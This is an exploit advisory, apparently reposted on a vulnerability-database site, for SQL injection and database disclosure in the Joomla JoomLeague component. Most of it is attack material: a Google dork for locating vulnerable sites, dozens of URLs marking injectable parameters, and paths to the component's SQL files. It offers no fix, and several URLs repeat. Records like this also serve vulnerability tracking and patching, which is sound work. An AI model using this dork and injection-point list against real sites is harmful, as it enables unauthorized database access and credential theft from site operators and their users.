`####################################################################
# Exploit Title : Joomla JoomLeague Components 2.x SQL Injection / Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 05/02/2019
# Vendor Homepage : forum.joomleague.at
# Software Download Link : gitlab.com/joomleague
# Software Information Link : joomleague.at/joomleague/
# Software Affected Versions : 1.6 - 2.x - 3.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_joomleague''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
####################################################################
# Description about Software :
***************************
JoomLeague is free and open-source software
written by a group of passionate developers for Joomla.
####################################################################
# Impact :
***********
* Joomla JoomLeague 2.x component for Joomla and other versions is prone to an SQL-injection
vulnerability because it fails to sufficiently sanitize user-supplied
data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application,
access or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application
and execute arbitrary SQL commands in application`s database.
Further exploitation of this vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser.
* This Software prone to an information exposure/database disclosure vulnerability.
Successful exploits of this issue may allow an attacker to obtain sensitive
information by downloading the full contents of the application's database.
* Any remote user may download the database files and gain access
to sensitive information including unencrypted authentication credentials.
####################################################################
# SQL Injection Exploit :
**********************
/index.php?option=com_joomleague&func=[SQL Injection]
/index.php?option=com_joomleague&view=[SQL Injection]
/index.php?option=com_joomleague&func=showPlayground&p=[ID-NUMBER]&pgid=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&func=showPlayer&p=[ID-NUMBER]&pid=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&func=showPlayers&p=[ID-NUMBER]&ttid=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&view=results&p=[ID-NUMBER]&r=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&func=showtipranking&p=[ID-NUMBER]&mode=[ID-NUMBER]&Itemid=&r=[SQL Injection]
/index.php?option=com_joomleague&func=showCurve&p=[ID-NUMBER]&tid=[ID-NUMBER]&division=&Itemid=[SQL Injection]
/index.php?option=com_joomleague&view=nextmatch&p=[ID-NUMBER]&tid=[ID-NUMBER]&mid=[SQL Injection]
/index.php?option=com_joomleague&view=ranking&p=[ID-NUMBER]&r=[SQL Injection]
/index.php?option=com_joomleague&view=ranking&p=[ID-NUMBER]&r=[ID-NUMBER]&type=&order=draw&dir=DESC&Itemid=[SQL Injection]
/index.php?option=com_joomleague&view=resultsranking&p=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&view=resultsranking&p=[ID-NUMBER]&r=[ID-NUMBER]&type=&order=diff&dir=DESC&Itemid=[SQL Injection]
/index.php?option=com_joomleague&view=resultsmatrix&p=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&func=showNextMatch&p=[ID-NUMBER]&mid=[ID-NUMBER]&pics=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&p=[ID-NUMBER]&func=showResultsRank&Itemid=[SQL Injection]
/index.php?option=com_joomleague&func=showResultsRank&Itemid=[ID-NUMBER]&p=[SQL Injection]
/index.php?option=com_joomleague&view=teamstats&p=[ID-NUMBER]&tid=[SQL Injection]
/index.php?option=com_joomleague&func=showNextMatch&p=[ID-NUMBER]&mid=[ID-NUMBER]&pics=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&view=teaminfo&p=[ID-NUMBER]&tid=[ID-NUMBER][FULENAME-HERE]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&func=showresults&Itemid=[ID-NUMBER]&p=[SQL Injection]
/index.php?option=com_joomleague&view=ranking&p=[ID-NUMBER]&type=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&func=showNextMatch&p=[SQL Injection]
/index.php?option=com_joomleague&view=ranking&extentionview=ranking&p=[ID-NUMBER]&type=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&view=ranking&p=[ID-NUMBER]&r=[ID-NUMBER]&type=[ID-NUMBER]&order=draw&dir=DESC&Itemid=[SQL Injection]
/index.php?option=com_joomleague&view=statsranking&p=[ID-NUMBER][FULENAME-HERE]=[ID-NUMBER]&sid=[SQL Injection]&order=desc
/index.php?option=com_joomleague&func=showresultsrank&p=[ID-NUMBER]&Itemid=[ID-NUMBER]&type=&order=loss&dir=[SQL Injection]
/index.php?option=com_joomleague&func=showResultsRank&p=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&view=results&p=[ID-NUMBER]&r=[SQL Injection]
/index.php?option=com_joomleague&view=resultsmatrix&p=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&view=curve&p=[ID-NUMBER]&tid1=&tid2=&division=[SQL Injection]
/index.php?option=com_joomleague&func=showTeamInfo&p=[ID-NUMBER]&tid=[ID-NUMBER]&ccm_paging_p_b1097=[SQL Injection]
/index.php?option=com_joomleague&func=showRanking&p=[ID-NUMBER]&Itemid=[ID-NUMBER]&type=[ID-NUMBER]&order=won&dir=[SQL Injection]
/index.php?option=com_joomleague&func=showPlan&mode=[ID-NUMBER]&p=[ID-NUMBER]&Itemid=[SQL Injection]&lang=it
/index.php?option=com_joomleague&view=teaminfo&p=[ID-NUMBER]&tid=[SQL Injection]&lang=en
/index.php?option=com_joomleague&view=teaminfo&p=[ID-NUMBER]&tid=[SQL Injection]
/index.php?option=com_joomleague&view=teaminfo&p=[ID-NUMBER]:[FULENAME-HERE]&tid=[SQL Injection]&lang=en
/index.php?option=com_joomleague&func=showtipresults&p=[ID-NUMBER]&uid=[ID-NUMBER]&Itemid=[ID-NUMBER]&r=[SQL Injection]
/index.php?option=com_joomleague&view=treetonode&p=[ID-NUMBER]:[FULENAME-HERE]&tnid=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_joomleague&func=showNextMatch&p=[ID-NUMBER]&mid=[ID-NUMBER]&pics=[ID-NUMBER]&Itemid=[SQL Injection]
# Database Disclosure Exploit :
***************************
/administrator/components/com_joomleague/sql/install.mysql.utf8.sql
/administrator/components/com_joomleague/sql/uninstall.mysql.utf8.sql
/administrator/components/com_joomleague/sql/updates/mysql/2.0.40.a4584c4.sql
####################################################################
# Example SQL Database Error :
****************************
You have an error in your SQL syntax; check
the manual that corresponds to your MySQL
server version for the right syntax
to use near 'ORDER BY roundcode ASC' at line 1
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation